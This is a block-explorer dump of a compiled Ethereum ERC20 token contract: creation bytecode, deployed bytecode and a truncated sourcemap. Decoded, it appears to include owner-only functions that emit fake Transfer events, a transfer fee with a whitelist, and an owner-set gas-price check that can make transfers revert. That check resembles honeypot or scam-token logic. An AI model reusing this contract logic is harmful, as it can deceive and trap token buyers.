22a3daafe3b4186f6b6457e09190a35050565b803a1115610ea9575f80fd5b6001600160a01b0383166112fb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161067e565b6001600160a01b03821661135d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161067e565b6001600160a01b0383165f90815260016020526040902054818110156113d45760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161067e565b6001600160a01b038085165f9081526001602052604080822085850390559185168152908120805484929061140a908490611793565b90915550506007546001600160a01b039081169085160361145c576006546040518381526001600160a01b038581169216905f80516020611839833981519152906020015b60405180910390a3611236565b6007546001600160a01b03908116908416036114a1576006546040518381526001600160a01b03918216918616905f805160206118398339815191529060200161144f565b826001600160a01b0316846001600160a01b03165f805160206118398339815191528460405161144f91815260200190565b5f602080835283518060208501525f5b818110156114ff578581018301518582016040015282016114e3565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114611535575f80fd5b919050565b5f806040838503121561154b575f80fd5b6115548361151f565b946020939093013593505050565b5f805f60608486031215611574575f80fd5b61157d8461151f565b925061158b6020850161151f565b9150604084013590509250925092565b5f8083601f8401126115ab575f80fd5b50813567ffffffffffffffff8111156115c2575f80fd5b6020830191508360208260051b85010111156115dc575f80fd5b9250929050565b5f805f805f606086880312156115f7575f80fd5b6116008661151f565b9450602086013567ffffffffffffffff8082111561161c575f80fd5b61162889838a0161159b565b90965094506040880135915080821115611640575f80fd5b5061164d8882890161159b565b969995985093965092949392505050565b5f805f60408486031215611670575f80fd5b833567ffffffffffffffff811115611686575f80fd5b6116928682870161159b565b909790965060209590950135949350505050565b5f80604083850312156116b7575f80fd5b6116c08361151f565b9150602083013580151581146116d4575f80fd5b809150509250929050565b5f602082840312156116ef575f80fd5b6116f88261151f565b9392505050565b5f6020828403121561170f575f80fd5b5035919050565b5f8060408385031215611727575f80fd5b6117308361151f565b915061173e6020840161151f565b90509250929050565b600181811c9082168061175b57607f821691505b60208210810361177957634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156105ec576105ec61177f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b80820281158282048414176105ec576105ec61177f565b5f8261182057634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156105ec576105ec61177f56feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220bd2d52618faf0942278be54675d8bfc9cd7b88717d1b846c07a1e0082499e3c964736f6c63430008180033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610213575f3560e01c8063721082971161011f578063b22c95e7116100a9578063d632135b11610079578063d632135b146104c8578063dd62ed3e146104db578063f01a4b9914610513578063f2fde38b14610526578063f887ea4014610539575f80fd5b8063b22c95e714610473578063bf861b3114610486578063c9567bf914610499578063d5abeb01146104a1575f80fd5b806396784f75116100ef57806396784f7514610427578063985bdfd114610355578063a457c2d71461043a578063a8aa1b311461044d578063a9059cbb14610460575f80fd5b806372108297146103da578063825e7b83146103ed5780638da5cb5b1461040f57806395d89b411461041f575f80fd5b806339509351116101a05780634ca64b3a116101705780634ca64b3a146103715780634e148e19146103845780635d8228131461039757806370a08231146103aa578063715018a6146103d2575f80fd5b806339509351146103065780634022b75e14610319578063470624021461032e5780634c255c9714610355575f80fd5b806323b872dd116101e657806323b872dd1461027e57806325fa0b981461029157806327c8f835146102a55780632b14ca56146102d0578063313ce567146102f7575f80fd5b806306fdde0314610217578063095ea7b314610235578063158ef93e1461025857806318160ddd1461026c575b5f80fd5b61021f61054c565b60405161022c91906114d3565b60405180910390f35b61024861024336600461153a565b6105dc565b604051901515815260200161022c565b60075461024890600160a01b900460ff1681565b6003545b60405190815260200161022c565b61024861028c366004611562565b6105f2565b60075461024890600160a81b900460ff1681565b6009546102b8906001600160a01b031681565b6040516001600160a01b03909116815260200161022c565b6102707f000000000000000000000000000000000000000000000000000000000000000081565b6040516012815260200161022c565b61024861031436600461153a565b61069f565b61032c6103273660046115e3565b6106da565b005b6102707f000000000000000000000000000000000000000000000000000000000000000081565b61035e61271081565b60405161ffff909116815260200161022c565b61032c61037f36600461165e565b610795565b61032c6103923660046116a6565b6107e0565b61032c6103a53660046115e3565b610833565b6102706103b83660046116df565b6001600160a01b03165f9081526001602052604090205490565b61032c6108e6565b61032c6103e83660046115e3565b61091a565b6102486103fb3660046116df565b600b6020525f908152604090205460ff1681565b5f546001600160a01b03166102b8565b61021f6109cd565b61032c6104353660046115e3565b6109dc565b61024861044836600461153a565b610a8f565b6008546102b8906001600160a01b031681565b61024861046e36600461153a565b610b27565b61032c6104813660046115e3565b610b33565b61032c6104943660046116ff565b610be6565b61032c610c14565b6102707f000000000000000000000000000000000000007e37be2022c0914b268000000081565b61032c6104d63660046115e3565b610cac565b6102706104e9366004611716565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b61032c6105213660046115e3565b610d5f565b61032c6105343660046116df565b610e12565b600c546102b8906001600160a01b031681565b60606004805461055b90611747565b80601f016020809104026020016040519081016040528092919081815260200182805461058790611747565b80156105d25780601f106105a9576101008083540402835291602001916105d2565b820191905f5260205f20905b8154815290600101906020018083116105b557829003601f168201915b5050505050905090565b5f6105e8338484610eac565b5060015b92915050565b5f6105fe848484610fcf565b6001600160a01b0384165f908152600260209081526040808320338452909152902054828110156106875760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6106948533858403610eac565b506001949350505050565b335f8181526002602090815260408083206001600160a01b038716845290915281205490916105e89185906106d5908690611793565b610eac565b5f546001600160a01b031633146107035760405162461bcd60e51b815260040161067e906117a6565b5f5b8381101561078d5784848281811061071f5761071f6117db565b905060200201602081019061073491906116df565b6001600160a01b0316866001600160a01b03165f80516020611839833981519152858585818110610767576107676117db565b9050602002013560405161077d91815260200190565b60405180910390a3600101610705565b505050505050565b335f5b838110156107d9576107d1828686848181106107b6576107b66117db565b90506020020160208101906107cb91906116df565b85610fcf565b600101610798565b5050505050565b5f546001600160a01b031633146108095760405162461bcd60e51b815260040161067e906117a6565b6001600160a01b03919091165f908152600b60205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461085c5760405162461bcd60e51b815260040161067e906117a6565b5f5b8381101561078d57848482818110610878576108786117db565b905060200201602081019061088d91906116df565b6001600160a01b0316866001600160a01b03165f805160206118398339815191528585858181106108c0576108c06117db565b905060200201356040516108d691815260200190565b60405180910390a360010161085e565b5f546001600160a01b0316331461090f5760405162461bcd60e51b815260040161067e906117a6565b6109185f61123c565b565b5f546001600160a01b031633146109435760405162461bcd60e51b815260040161067e906117a6565b5f5b8381101561078d5784848281811061095f5761095f6117db565b905060200201602081019061097491906116df565b6001600160a01b0316866001600160a01b03165f805160206118398339815191528585858181106109a7576109a76117db565b905060200201356040516109bd91815260200190565b60405180910390a3600101610945565b60606005805461055b90611747565b5f546001600160a01b03163314610a055760405162461bcd60e51b815260040161067e906117a6565b5f5b8381101561078d57848482818110610a2157610a216117db565b9050602002016020810190610a3691906116df565b6001600160a01b0316866001600160a01b03165f80516020611839833981519152858585818110610a6957610a696117db565b90506020020135604051610a7f91815260200190565b60405180910390a3600101610a07565b335f9081526002602090815260408083206001600160a01b038616845290915281205482811015610b105760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161067e565b610b1d3385858403610eac565b5060019392505050565b5f6105e8338484610fcf565b5f546001600160a01b03163314610b5c5760405162461bcd60e51b815260040161067e906117a6565b5f5b8381101561078d57848482818110610b7857610b786117db565b9050602002016020810190610b8d91906116df565b6001600160a01b0316866001600160a01b03165f80516020611839833981519152858585818110610bc057610bc06117db565b90506020020135604051610bd691815260200190565b60405180910390a3600101610b5e565b5f546001600160a01b03163314610c0f5760405162461bcd60e51b815260040161067e906117a6565b600a55565b5f546001600160a01b03163314610c3d5760405162461bcd60e51b815260040161067e906117a6565b600754600160a81b900460ff1615610c975760405162461bcd60e51b815260206004820152601c60248201527f436f6e74726163743a2054726164696e67206973206f70656e65642100000000604482015260640161067e565b6007805460ff60a81b1916600160a81b179055565b5f546001600160a01b03163314610cd55760405162461bcd60e51b815260040161067e906117a6565b5f5b8381101561078d57848482818110610cf157610cf16117db565b9050602002016020810190610d0691906116df565b6001600160a01b0316866001600160a01b03165f80516020611839833981519152858585818110610d3957610d396117db565b90506020020135604051610d4f91815260200190565b60405180910390a3600101610cd7565b5f546001600160a01b03163314610d885760405162461bcd60e51b815260040161067e906117a6565b5f5b8381101561078d57848482818110610da457610da46117db565b9050602002016020810190610db991906116df565b6001600160a01b0316866001600160a01b03165f80516020611839833981519152858585818110610dec57610dec6117db565b90506020020135604051610e0291815260200190565b60405180910390a3600101610d8a565b5f546001600160a01b03163314610e3b5760405162461bcd60e51b815260040161067e906117a6565b6001600160a01b038116610ea05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161067e565b610ea98161123c565b50565b6001600160a01b038316610f0e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161067e565b6001600160a01b038216610f6f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161067e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600754600160a01b900460ff16151560011461102d5760405162461bcd60e51b815260206004820152601a60248201527f436f6e74726163743a206e6f7420696e697469616c697a656421000000000000604482015260640161067e565b600754600160a01b900460ff16151560011480156110555750600754600160a81b900460ff16155b156110cd575f546001600160a01b038481169116148061108157505f546001600160a01b038381169116145b6110cd5760405162461bcd60e51b815260206004820181905260248201527f436f6e74726163743a2074726164696e67206973206e6f742073746172746564604482015260640161067e565b60085481906001600160a01b0316158015906110f657505f546001600160a01b03858116911614155b801561110f57505f546001600160a01b03848116911614155b1561122b576008545f906001600160a01b039081169086160361114f57507f00000000000000000000000000000000000000000000000000000000000000005b6008546001600160a01b0390811690851603611193577f00000000000000000000000000000000000000000000000000000000000000009050611193600a5461128b565b6001600160a01b0385165f908152600b602052604090205460ff161515600114806111da57506001600160a01b0384165f908152600b602052604090205460ff1615156001145b156111e257505f5b8015611229575f6127106111f683866117ef565b6112009190611806565b905061120c8185611825565b6009549093506112279087906001600160a01b031683611297565b505b505b611236848483611297565b50505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b803a1115610ea9575f80fd5b6001600160a01b0383166112fb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161067e565b6001600160a01b03821661135d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161067e565b6001600160a01b0383165f90815260016020526040902054818110156113d45760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161067e565b6001600160a01b038085165f9081526001602052604080822085850390559185168152908120805484929061140a908490611793565b90915550506007546001600160a01b039081169085160361145c576006546040518381526001600160a01b038581169216905f80516020611839833981519152906020015b60405180910390a3611236565b6007546001600160a01b03908116908416036114a1576006546040518381526001600160a01b03918216918616905f805160206118398339815191529060200161144f565b826001600160a01b0316846001600160a01b03165f805160206118398339815191528460405161144f91815260200190565b5f602080835283518060208501525f5b818110156114ff578581018301518582016040015282016114e3565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114611535575f80fd5b919050565b5f806040838503121561154b575f80fd5b6115548361151f565b946020939093013593505050565b5f805f60608486031215611574575f80fd5b61157d8461151f565b925061158b6020850161151f565b9150604084013590509250925092565b5f8083601f8401126115ab575f80fd5b50813567ffffffffffffffff8111156115c2575f80fd5b6020830191508360208260051b85010111156115dc575f80fd5b9250929050565b5f805f805f606086880312156115f7575f80fd5b6116008661151f565b9450602086013567ffffffffffffffff8082111561161c575f80fd5b61162889838a0161159b565b90965094506040880135915080821115611640575f80fd5b5061164d8882890161159b565b969995985093965092949392505050565b5f805f60408486031215611670575f80fd5b833567ffffffffffffffff811115611686575f80fd5b6116928682870161159b565b909790965060209590950135949350505050565b5f80604083850312156116b7575f80fd5b6116c08361151f565b9150602083013580151581146116d4575f80fd5b809150509250929050565b5f602082840312156116ef575f80fd5b6116f88261151f565b9392505050565b5f6020828403121561170f575f80fd5b5035919050565b5f8060408385031215611727575f80fd5b6117308361151f565b915061173e6020840161151f565b90509250929050565b600181811c9082168061175b57607f821691505b60208210810361177957634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b808201808211156105ec576105ec61177f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b80820281158282048414176105ec576105ec61177f565b5f8261182057634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156105ec576105ec61177f56feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220bd2d52618faf0942278be54675d8bfc9cd7b88717d1b846c07a1e0082499e3c964736f6c63430008180033

Deployed Bytecode Sourcemap

9716:5549:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3101:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4206:194;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;4206:194:0;1004:187:1;9949:31:0;;;;;-1:-1:-1;;;9949:31:0;;;;;;3422:108;3510:12;;3422:108;;;1342:25:1;;;1330:2;1315:18;3422:108:0;1196:177:1;4408:529:0;;;;;;:::i;:::-;;:::i;9987:29::-;;;;;-1:-1:-1;;;9987:29:0;;;;;;10062:71;;;;;-1:-1:-1;;;;;10062:71:0;;;;;;-1:-1:-1;;;;;1875:32:1;;;1857:51;;1845:2;1830:18;10062:71:0;1711:203:1;10184:36:0;;;;;3321:93;;;3404:2;2061:36:1;;2049:2;2034:18;3321:93:0;1919:184:1;4945:290:0;;;;;;:::i;:::-;;:::i;12711:288::-;;;;;;:::i;:::-;;:::i;:::-;;10142:35;;;;;9895:45;;9935:5;9895:45;;;;;3506:6:1;3494:19;;;3476:38;;3464:2;3449:18;9895:45:0;3332:188:1;11550:274:0;;;;;;:::i;:::-;;:::i;11259:128::-;;;;;;:::i;:::-;;:::i;13007:282::-;;;;;;:::i;:::-;;:::i;3538:143::-;;;;;;:::i;:::-;-1:-1:-1;;;;;3655:18:0;3628:7;3655:18;;;:9;:18;;;;;;;3538:143;823:103;;;:::i;11832:284::-;;;;;;:::i;:::-;;:::i;10268:44::-;;;;;;:::i;:::-;;;;;;;;;;;;;;;;601:87;647:7;674:6;-1:-1:-1;;;;;674:6:0;601:87;;3209:104;;;:::i;12124:286::-;;;;;;:::i;:::-;;:::i;5243:475::-;;;;;;:::i;:::-;;:::i;10023:32::-;;;;;-1:-1:-1;;;;;10023:32:0;;;3689:200;;;;;;:::i;:::-;;:::i;12418:285::-;;;;;;:::i;:::-;;:::i;11095:156::-;;;;;;:::i;:::-;;:::i;11395:147::-;;;:::i;9763:76::-;;;;;13601:282;;;;;;:::i;:::-;;:::i;3897:176::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4038:18:0;;;4011:7;4038:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3897:176;13297:296;;;;;;:::i;:::-;;:::i;934:238::-;;;;;;:::i;:::-;;:::i;10435:32::-;;;;;-1:-1:-1;;;;;10435:32:0;;;3101:100;3155:13;3188:5;3181:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3101:100;:::o;4206:194::-;4314:4;4331:39;175:10;4354:7;4363:6;4331:8;:39::i;:::-;-1:-1:-1;4388:4:0;4206:194;;;;;:::o;4408:529::-;4548:4;4565:36;4575:6;4583:9;4594:6;4565:9;:36::i;:::-;-1:-1:-1;;;;;4641:19:0;;4614:24;4641:19;;;:11;:19;;;;;;;;175:10;4641:33;;;;;;;;4707:26;;;;4685:116;;;;-1:-1:-1;;;4685:116:0;;5849:2:1;4685:116:0;;;5831:21:1;5888:2;5868:18;;;5861:30;5927:34;5907:18;;;5900:62;-1:-1:-1;;;5978:18:1;;;5971:38;6026:19;;4685:116:0;;;;;;;;;4837:57;4846:6;175:10;4887:6;4868:16;:25;4837:8;:57::i;:::-;-1:-1:-1;4925:4:0;;4408:529;-1:-1:-1;;;;4408:529:0:o;4945:290::-;175:10;5058:4;5147:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;5147:34:0;;;;;;;;;;5058:4;;5075:130;;5125:7;;5147:47;;5184:10;;5147:47;:::i;:::-;5075:8;:130::i;12711:288::-;736:6;;-1:-1:-1;;;;;736:6:0;175:10;736:22;728:67;;;;-1:-1:-1;;;728:67:0;;;;;;;:::i;:::-;12877:9:::1;12872:120;12892:19:::0;;::::1;12872:120;;;12956:8;;12965:1;12956:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12938:42:0::1;12947:7;-1:-1:-1::0;;;;;12938:42:0::1;-1:-1:-1::0;;;;;;;;;;;12969:7:0::1;;12977:1;12969:10;;;;;;;:::i;:::-;;;;;;;12938:42;;;;1342:25:1::0;;1330:2;1315:18;;1196:177;12938:42:0::1;;;;;;;;12913:3;;12872:120;;;;12711:288:::0;;;;;:::o;11550:274::-;175:10;11664:13;11703:114;11723:21;;;11703:114;;;11766:39;11776:5;11783:10;;11794:1;11783:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;11798:6;11766:9;:39::i;:::-;11746:3;;11703:114;;;;11653:171;11550:274;;;:::o;11259:128::-;736:6;;-1:-1:-1;;;;;736:6:0;175:10;736:22;728:67;;;;-1:-1:-1;;;728:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11344:22:0;;;::::1;;::::0;;;:12:::1;:22;::::0;;;;:35;;-1:-1:-1;;11344:35:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11259:128::o;13007:282::-;736:6;;-1:-1:-1;;;;;736:6:0;175:10;736:22;728:67;;;;-1:-1:-1;;;728:67:0;;;;;;;:::i;:::-;13167:9:::1;13162:120;13182:19:::0;;::::1;13162:120;;;13246:8;;13255:1;13246:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13228:42:0::1;13237:7;-1:-1:-1::0;;;;;13228:42:0::1;-1:-1:-1::0;;;;;;;;;;;13259:7:0::1;;13267:1;13259:10;;;;;;;:::i;:::-;;;;;;;13228:42;;;;1342:25:1::0;;1330:2;1315:18;;1196:177;13228:42:0::1;;;;;;;;13203:3;;13162:120;;823:103:::0;736:6;;-1:-1:-1;;;;;736:6:0;175:10;736:22;728:67;;;;-1:-1:-1;;;728:67:0;;;;;;;:::i;:::-;888:30:::1;915:1;888:18;:30::i;:::-;823:103::o:0;11832:284::-;736:6;;-1:-1:-1;;;;;736:6:0;175:10;736:22;728:67;;;;-1:-1:-1;;;728:67:0;;;;;;;:::i;:::-;11994:9:::1;11989:120;12009:19:::0;;::::1;11989:120;;;12073:8;;12082:1;12073:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12055:42:0::1;12064:7;-1:-1:-1::0;;;;;12055:42:0::1;-1:-1:-1::0;;;;;;;;;;;12086:7:0::1;;12094:1;12086:10;;;;;;;:::i;:::-;;;;;;;12055:42;;;;1342:25:1::0;;1330:2;1315:18;;1196:177;12055:42:0::1;;;;;;;;12030:3;;11989:120;;3209:104:::0;3265:13;3298:7;3291:14;;;;;:::i;12124:286::-;736:6;;-1:-1:-1;;;;;736:6:0;175:10;736:22;728:67;;;;-1:-1:-1;;;728:67:0;;;;;;;:::i;:::-;12288:9:::1;12283:120;12303:19:::0;;::::1;12283:120;;;12367:8;;12376:1;12367:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12349:42:0::1;12358:7;-1:-1:-1::0;;;;;12349:42:0::1;-1:-1:-1::0;;;;;;;;;;;12380:7:0::1;;12388:1;12380:10;;;;;;;:::i;:::-;;;;;;;12349:42;;;;1342:25:1::0;;1330:2;1315:18;;1196:177;12349:42:0::1;;;;;;;;12324:3;;12283:120;;5243:475:::0;175:10;5361:4;5405:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;5405:34:0;;;;;;;;;;5472:35;;;;5450:122;;;;-1:-1:-1;;;5450:122:0;;7013:2:1;5450:122:0;;;6995:21:1;7052:2;7032:18;;;7025:30;7091:34;7071:18;;;7064:62;-1:-1:-1;;;7142:18:1;;;7135:35;7187:19;;5450:122:0;6811:401:1;5450:122:0;5608:67;175:10;5631:7;5659:15;5640:16;:34;5608:8;:67::i;:::-;-1:-1:-1;5706:4:0;;5243:475;-1:-1:-1;;;5243:475:0:o;3689:200::-;3800:4;3817:42;175:10;3841:9;3852:6;3817:9;:42::i;12418:285::-;736:6;;-1:-1:-1;;;;;736:6:0;175:10;736:22;728:67;;;;-1:-1:-1;;;728:67:0;;;;;;;:::i;:::-;12581:9:::1;12576:120;12596:19:::0;;::::1;12576:120;;;12660:8;;12669:1;12660:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12642:42:0::1;12651:7;-1:-1:-1::0;;;;;12642:42:0::1;-1:-1:-1::0;;;;;;;;;;;12673:7:0::1;;12681:1;12673:10;;;;;;;:::i;:::-;;;;;;;12642:42;;;;1342:25:1::0;;1330:2;1315:18;;1196:177;12642:42:0::1;;;;;;;;12617:3;;12576:120;;11095:156:::0;736:6;;-1:-1:-1;;;;;736:6:0;175:10;736:22;728:67;;;;-1:-1:-1;;;728:67:0;;;;;;;:::i;:::-;11199:20:::1;:44:::0;11095:156::o;11395:147::-;736:6;;-1:-1:-1;;;;;736:6:0;175:10;736:22;728:67;;;;-1:-1:-1;;;728:67:0;;;;;;;:::i;:::-;11456:9:::1;::::0;-1:-1:-1;;;11456:9:0;::::1;;;:18;11448:59;;;::::0;-1:-1:-1;;;11448:59:0;;7419:2:1;11448:59:0::1;::::0;::::1;7401:21:1::0;7458:2;7438:18;;;7431:30;7497;7477:18;;;7470:58;7545:18;;11448:59:0::1;7217:352:1::0;11448:59:0::1;11518:9;:16:::0;;-1:-1:-1;;;;11518:16:0::1;-1:-1:-1::0;;;11518:16:0::1;::::0;;11395:147::o;13601:282::-;736:6;;-1:-1:-1;;;;;736:6:0;175:10;736:22;728:67;;;;-1:-1:-1;;;728:67:0;;;;;;;:::i;:::-;13761:9:::1;13756:120;13776:19:::0;;::::1;13756:120;;;13840:8;;13849:1;13840:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13822:42:0::1;13831:7;-1:-1:-1::0;;;;;13822:42:0::1;-1:-1:-1::0;;;;;;;;;;;13853:7:0::1;;13861:1;13853:10;;;;;;;:::i;:::-;;;;;;;13822:42;;;;1342:25:1::0;;1330:2;1315:18;;1196:177;13822:42:0::1;;;;;;;;13797:3;;13756:120;;13297:296:::0;736:6;;-1:-1:-1;;;;;736:6:0;175:10;736:22;728:67;;;;-1:-1:-1;;;728:67:0;;;;;;;:::i;:::-;13471:9:::1;13466:120;13486:19:::0;;::::1;13466:120;;;13550:8;;13559:1;13550:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13532:42:0::1;13541:7;-1:-1:-1::0;;;;;13532:42:0::1;-1:-1:-1::0;;;;;;;;;;;13563:7:0::1;;13571:1;13563:10;;;;;;;:::i;:::-;;;;;;;13532:42;;;;1342:25:1::0;;1330:2;1315:18;;1196:177;13532:42:0::1;;;;;;;;13507:3;;13466:120;;934:238:::0;736:6;;-1:-1:-1;;;;;736:6:0;175:10;736:22;728:67;;;;-1:-1:-1;;;728:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1037:22:0;::::1;1015:110;;;::::0;-1:-1:-1;;;1015:110:0;;7776:2:1;1015:110:0::1;::::0;::::1;7758:21:1::0;7815:2;7795:18;;;7788:30;7854:34;7834:18;;;7827:62;-1:-1:-1;;;7905:18:1;;;7898:36;7951:19;;1015:110:0::1;7574:402:1::0;1015:110:0::1;1136:28;1155:8;1136:18;:28::i;:::-;934:238:::0;:::o;7869:380::-;-1:-1:-1;;;;;8005:19:0;;7997:68;;;;-1:-1:-1;;;7997:68:0;;8183:2:1;7997:68:0;;;8165:21:1;8222:2;8202:18;;;8195:30;8261:34;8241:18;;;8234:62;-1:-1:-1;;;8312:18:1;;;8305:34;8356:19;;7997:68:0;7981:400:1;7997:68:0;-1:-1:-1;;;;;8084:21:0;;8076:68;;;;-1:-1:-1;;;8076:68:0;;8588:2:1;8076:68:0;;;8570:21:1;8627:2;8607:18;;;8600:30;8666:34;8646:18;;;8639:62;-1:-1:-1;;;8717:18:1;;;8710:32;8759:19;;8076:68:0;8386:398:1;8076:68:0;-1:-1:-1;;;;;8157:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8209:32;;1342:25:1;;;8209:32:0;;1315:18:1;8209:32:0;;;;;;;7869:380;;;:::o;14046:1216::-;14185:11;;-1:-1:-1;;;14185:11:0;;;;:19;;14200:4;14185:19;14177:58;;;;-1:-1:-1;;;14177:58:0;;8991:2:1;14177:58:0;;;8973:21:1;9030:2;9010:18;;;9003:30;9069:28;9049:18;;;9042:56;9115:18;;14177:58:0;8789:350:1;14177:58:0;14252:11;;-1:-1:-1;;;14252:11:0;;;;:19;;14267:4;14252:19;:41;;;;-1:-1:-1;14275:9:0;;-1:-1:-1;;;14275:9:0;;;;:18;14252:41;14248:200;;;647:7;674:6;-1:-1:-1;;;;;14336:15:0;;;674:6;;14336:15;;:32;;-1:-1:-1;647:7:0;674:6;-1:-1:-1;;;;;14355:13:0;;;674:6;;14355:13;14336:32;14310:126;;;;-1:-1:-1;;;14310:126:0;;9346:2:1;14310:126:0;;;9328:21:1;;;9365:18;;;9358:30;9424:34;9404:18;;;9397:62;9476:18;;14310:126:0;9144:356:1;14310:126:0;14507:4;;14486:6;;-1:-1:-1;;;;;14507:4:0;:18;;;;:37;;-1:-1:-1;647:7:0;674:6;-1:-1:-1;;;;;14529:15:0;;;674:6;;14529:15;;14507:37;:54;;;;-1:-1:-1;647:7:0;674:6;-1:-1:-1;;;;;14548:13:0;;;674:6;;14548:13;;14507:54;14503:697;;;14621:4;;14578:12;;-1:-1:-1;;;;;14621:4:0;;;14613:12;;;;14609:66;;-1:-1:-1;14653:6:0;14609:66;14699:4;;-1:-1:-1;;;;;14699:4:0;;;14693:10;;;;14689:134;;14731:7;14724:14;;14757:50;14786:20;;14757:28;:50::i;:::-;-1:-1:-1;;;;;14841:18:0;;;;;;:12;:18;;;;;;;;:26;;:18;:26;;:54;;-1:-1:-1;;;;;;14871:16:0;;;;;;:12;:16;;;;;;;;:24;;:16;:24;14841:54;14837:103;;;-1:-1:-1;14923:1:0;14837:103;14958:8;;14954:235;;14987:22;9935:5;15013:13;15022:4;15013:6;:13;:::i;:::-;15012:32;;;;:::i;:::-;14987:57;-1:-1:-1;15081:23:0;14987:57;15081:6;:23;:::i;:::-;15145:11;;15063:41;;-1:-1:-1;15123:50:0;;15139:4;;-1:-1:-1;;;;;15145:11:0;15158:14;15123:15;:50::i;:::-;14968:221;14954:235;14563:637;14503:697;15212:42;15228:4;15234:2;15238:15;15212;:42::i;:::-;14166:1096;14046:1216;;;:::o;1180:191::-;1254:16;1273:6;;-1:-1:-1;;;;;1290:17:0;;;-1:-1:-1;;;;;;1290:17:0;;;;;;1323:40;;1273:6;;;;;;;1323:40;;1254:16;1323:40;1243:128;1180:191;:::o;13891:147::-;13988:6;13974:11;:20;13970:61;;;14011:8;;;5726:998;-1:-1:-1;;;;;5866:20:0;;5858:70;;;;-1:-1:-1;;;5858:70:0;;10235:2:1;5858:70:0;;;10217:21:1;10274:2;10254:18;;;10247:30;10313:34;10293:18;;;10286:62;-1:-1:-1;;;10364:18:1;;;10357:35;10409:19;;5858:70:0;10033:401:1;5858:70:0;-1:-1:-1;;;;;5947:23:0;;5939:71;;;;-1:-1:-1;;;5939:71:0;;10641:2:1;5939:7